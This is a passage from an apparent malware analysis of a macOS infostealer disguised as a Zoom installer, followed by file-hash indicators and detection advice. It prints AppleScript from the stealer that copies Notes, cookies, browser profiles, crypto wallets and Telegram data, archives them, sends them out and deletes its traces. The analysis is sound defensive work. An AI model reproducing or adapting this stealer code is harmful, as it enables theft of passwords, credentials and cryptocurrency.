readwrite2(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "FileGrabber/NoteStore.sqlite-wal")
readwrite2(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "FileGrabber/NoteStore.sqlite-shm")
readwrite2(profile & "/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/Cookies.binarycookies")
readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/saf1")
end if
if filegrabbers then
filegrabber(writemind)
end if
writeText(username, writemind & "username")
set ff_paths to {library & "Firefox/Profiles/", library & "Waterfox/Profiles/", library & "Pale Moon/Profiles/"}
repeat with firefox in ff_paths
try
parseFF(firefox, writemind)
end try
end repeat
chromium(writemind, chromiumMap)
deskwallets(writemind, walletMap)
telegram(writemind, library)
do shell script "ditto -c -k
send_data(0)
replaceApp(profile, password_entered)
do shell script "rm -r " & writemind
do shell script "rm /tmp/out.zip"
The script targets and exfiltrates system information, macOS user password (obtained via a fake password prompt using an AppleScript display dialog prompt), Keychain passwords, and extensive browser data including cookies, login credentials, and form history from various Chromium-based and Firefox-based browsers. It also steals Apple Notes databases, Telegram Desktop data, and general user files with specific extensions including .txt, .pdf, .docx, .wallet, .key, .keys, .doc, .json, and .db from the Desktop, Documents, and Downloads folders.
Further to this, the stealer seeks out and copies data from various cryptocurrency wallets, such as Electrum, Binance, Exodus, Atomic, and others, along with associated browser extensions.
IOCs⌗
| File | Hash |
|---|---|
ZoomApp.dmg |
0368479362c2e9dd13c0a31082cd561c398c49a68ec9f3a5e22c17e0ac292e1f |
ZoomApp.xTE |
8c010f4313aa5eaa06de2235f83b9d6291dc771866d32251d6973e2c5385f5d1 |
.ZoomApp |
4f3e4abbc81830ff5b59cfa84e66291a758ffe2b96c15873db0bf882ce5c1d8c |
Detection⌗
While the downstream payload functionality may vary, the initial execution chain is readily identifiable through specific indicators. Correlating disk image mounting events (e.g., mount and diskarbitrationd process activity) with the subsequent execution of a script via Terminal.app originating from the newly mounted volume can provid a high-fidelity detection of malicious intent.
Furthermore, anomalous invocation of osascript -e with arguments indicative of suspicious commands, such as do shell script, run script, and eval or display dialog used in conjunction with with hidden answers, constitutes a further strong indicator of malicious activity.